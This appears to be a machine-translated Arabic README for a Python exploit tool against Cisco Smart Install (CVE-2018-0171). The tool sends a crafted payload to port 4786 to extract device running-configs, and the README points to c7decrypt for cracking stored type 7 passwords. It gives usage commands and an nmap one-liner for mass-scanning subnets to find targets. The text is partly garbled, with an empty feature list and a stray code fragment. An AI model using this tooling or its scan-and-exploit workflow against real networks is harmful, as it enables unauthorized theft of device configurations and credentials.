
استغلال Cisco SmartInstall [CVE-2018-0171]
ثغرة Cisco SmartInstall CVE-2018-0171
مستوحى من C. Papathanasiou PoC
يستخدم هذا النص البرمجي بلغة Python 3 المنفذ 4786 على جهاز Cisco يعمل بـ SmartInstall لاستغلال CVE-2018-0171. باستخدام هذا الاستغلال، يمكن للمهاجم صياغة حمولة، وإرسالها إلى جهاز Cisco، ثم استخراج محتويات ملف running-config.
يمكن لبرنامج Cisco Smart Exploit:

فيما يلي قائمة المتطلبات لاستخدام البرنامج النصي:
tftpy==0.8.2c7decrypt لفك تشفير secret 7
gem install c7decrypt __ __ __ __ __ __ ___ ___ __ __ ___
/ ` | /__` / ` / \ /__` |\/| /\ |__) | |__ \_/ |__) | / \ | |
\__, | .__/ \__, \__/ .__/ | | /~~\ | \ | |___ / \ | |___ \__/ | |
by @AlrikRr
usage: cisco-se.py [-h] (-i IP | -f FILE | -c CONFIG)
optional arguments:
-h, --help show this help message and exit
-i IP Single IP Address
-f FILE File that contains IP list
-c CONFIG running-config File standalone
أمثلة :
python3 cisco-se.py -i 192.168.10.1
python3 cisco-se.py -f ip_list.txt
python3 cisco-se.py -c running-config.txt
بالنسبة لخيار -f FILE، إليك مثال باستخدام nmap:
nmap -p 4786 10.20.30.0/24 --open -Pn -oG - | awk '/Up$/{print $2}' > ip_list.txt
client.download()